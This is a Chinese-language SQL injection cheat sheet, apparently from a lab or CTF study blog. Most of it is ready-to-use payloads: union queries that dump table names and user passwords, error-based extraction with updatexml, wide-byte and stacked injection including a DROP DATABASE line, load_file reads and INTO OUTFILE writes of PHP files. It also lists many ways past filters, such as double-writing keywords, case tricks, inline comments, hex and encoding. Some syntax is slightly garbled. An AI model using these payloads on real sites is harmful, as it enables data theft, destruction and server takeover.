原理
sql注入发生原理:
用户对传入的参数未进行严格过滤处理,导致构造形成sql语句,直接输入数据库执行,从而获取和修改数据库
注入类型
常见的注入方式有:字符型注入、布尔型注入、报错注入、文件读写注入、布尔盲注、时间盲注、堆叠注入、二次注入……
基本操作
1.判断显示位
1 | ?id=SELECT first name, last_name FROM users WHERE user_id = '1' union select 1,2,3#; |
2.爆数据库的名字
1 | ?id = '1' union select 1,user(),database()--+‘; |
3.爆数据库中的表
1 | ?id = '-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+'; |
4.爆表中的字段
1 | ?id= '-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+', |
5.爆相应字段的所有数据
1 | ?id = '-1' union select 1,2,group_concat(user,password) from users--+'; |
盲注脚本
布尔盲注
1 | import requests |
时间盲注
1 | import requests |
注入类型
二次注入
其产生原因是:服务器端虽然对用户的直接输入做了一些过滤或者将一些字符进行转义,但是对于已经存入数据库的信息是完全信任的,即:不校验数据库信息是否合法
利用场景主要有:靶机里同时存在注册和登录页面,且需要获得admin密码
宽字节注入
宽字节就是两个以上的字节,宽字节注入产生的原因就是各种字符编码的不当操作
通常来说,一个gbk编码汉字,占用2个字节。一个utf-8编码的汉字,占用3个字节。因此当我们输入’时,在php代码中如果有过滤的话会利用转义字符\进行转义,而利用urlencode表示的话,就为%5c%27,我们若想要将%5c去掉,则若此时mysql用的是GBK编码,则可以在前面加上一个编码如**%df**,使得系统认定%df%5c表示着一个汉字。
1 | ?id=-1%df%27union select 1,2,group_concat(column_name)from information_schema.columns where table_name=%df'users %df'--+ |
堆叠注入
使用前提:堆叠注入使用的条件很苛刻,会受到API以及数据库引擎,或者是权限的限制。只有当调用数据库的函数支持执行多条SQL语句的时候才可以使用。例如 mysqli_multi_query() 函数就支持多条SQL语句同时执行,而 mysqli_query() 函数就不支持。在实际应用中,大多数都使用的是 mysqli_query() 函数,所以能使用堆叠注入的说明该网站做的很不成功,因为堆叠注入的爆破效果太好了。一般PHP搭建的网站为了防止SQL注入都会使用 mysqli_query() 函数。
利用方式:在我们输入的语句后面加上分号表示该语句结束,之后再输入另一条语句就可以了。例如可以先写一个查询语句,之后加分号表示查询结束,再在分号后输入删除语句。这样就叫堆叠注入。
1 | ?id=show database();drop database <数据库名>; |
文件读取写入注入
文件读取
union select 1,2,load_file('文件路径')
1 | union select 1,2,load_file('D:/test.txt') |
文件写入
union select 1,'<?php phpinfo();?>',3 into outfile '文件路径' --+
1 | union select 1,'<?php phpinfo();?>',3 into outfile 'E:\\phpStudy\\WWW\\sqli\\Less-7\\1.php' --+ |
报错注入
updatexml()函数
- updatexml()是一个使用不同的xml标记匹配和替换xml块的函数。
- 作用:改变文档中符合条件的节点的值
- 语法: updatexml(XML_document,XPath_string,new_value) 第一个参数:是string格式,为XML文档对象的名称,文中为Doc 第二个参数:代表路径,Xpath格式的字符串例如//title【@lang】 第三个参数:string格式,替换查找到的符合条件的数据
- updatexml使用时,当xpath_string格式出现错误,mysql则会爆出xpath语法错误(xpath syntax)
- 例如: select * from test where ide = 1 and (updatexml(1,0x7e,3)); 由于0x7e是~,不属于xpath语法格式,因此报出xpath语法错误。
1 | 爆出数据库 |
extractvalue()函数其实与updatexml()函数大同小异,都是通过xpath路径错误报错
1 | 爆出数据库 |
handler命令注入
1 | HANDLER tbl_name OPEN [ [AS] alias] |
SQL注入绕过
1.注释字符绕过
1 | -- 注释内容 |
2.双写绕过
绕过场景:代码使用replace将字符代替为空时使用
例如,过滤了select
使用selselectect =>select
3.大写绕过
在正则匹配对大小写不敏感时,也就是正则匹配使用了\i
,忽略了大小写。而Mysql对大小写也不敏感时使用
例如,
1 | /select/i |
4.内联注释
内联注释的作用是增加SQL语句的可移植性。比如,将MySQL特有的语法使用内联注释的形式来编写,在这种情况下,MySQL可以正常的解析并执行内联注释中的代码,但是其它的SQL服务器则忽略内联注释中的内容。
1 | /*! MySQL特有的语法 */ |
例如MySQL服务器可以在以下语句中识别STRAIGHT_JOIN
关键字,而其他服务器则不能:
1 | SELECT /*! STRAIGHT_JOIN*/ col1 FROM table1,table2 WHERE ... |
/*! */类型的注释,内部语句会被执行
一般用来绕过空格
1 | select bbb from table1 where aaa='' union /*! select database()*/; |
5.特殊编码绕过
16进制编码绕过
如果在查询字段名的时候表名被过滤,或者是数据库中某些特定字符被过滤,则可以使用16进制绕过。
1 | select column_name from information_schema.columns where table_name=0x7573657273; |
0x7573657273
为users的16进制编码
6.双重url编码绕过
对字符串进行二次url编码,可绕过关键字过滤
7.空格绕过
可以使用%0d(回车)、%0a(换行)、%09(tab制表)、/**/、%a0( )、%0b(垂直制表符)、%0c(换页符)
8.过滤了 and、or、=、>、<、regexp
使用 &&、||、 like、greatest(返回值的最大值)、least(返回值的最小值)
9.过滤了逗号
limit使用from或者offset
select substr(database(0from1for1);select mid(database(0from1for1);
substr使用from for
select * from news limit 0,1 <=> select * from news limit 1 offset 0
if语句使用exp()函数代替
exp()函数除了能用在报错注入以外,利用exp在参数大于709时会报错的特性可以用来构造条件判断语句
1 | ||exp(710-(... rlike ...)) |
即如果 (... rlike ...)
中的语句执行匹配后的结果为True
,经过减号转换后为 exp(710-1)
后不会溢出;若为false
,转换为 exp(710-0)
后则会溢出并报错
10、绕过注释符号(#,–)过滤
使用单引号、双引号进行引号闭合绕过
1 | SELECT * FROM users WHERE id='$_POST[id]' LIMIT 0,1 |
我们传入
1 | id=1' and 1=2 union select 1,2,3' |
这样语句就变成了
1 | SELECT * FROM users WHERE id='1' and 1=2 union select 1,2,3' ' LIMIT 0,1 |
引号正常闭合
11、绕过union,select,where等
可尝试在关键字内插入/**/
1 | U/**/NION/**/SE/**/LECT/**/user,pwd from user |
12.等价函数绕过
1 | hex()、bin() ==> ascii() |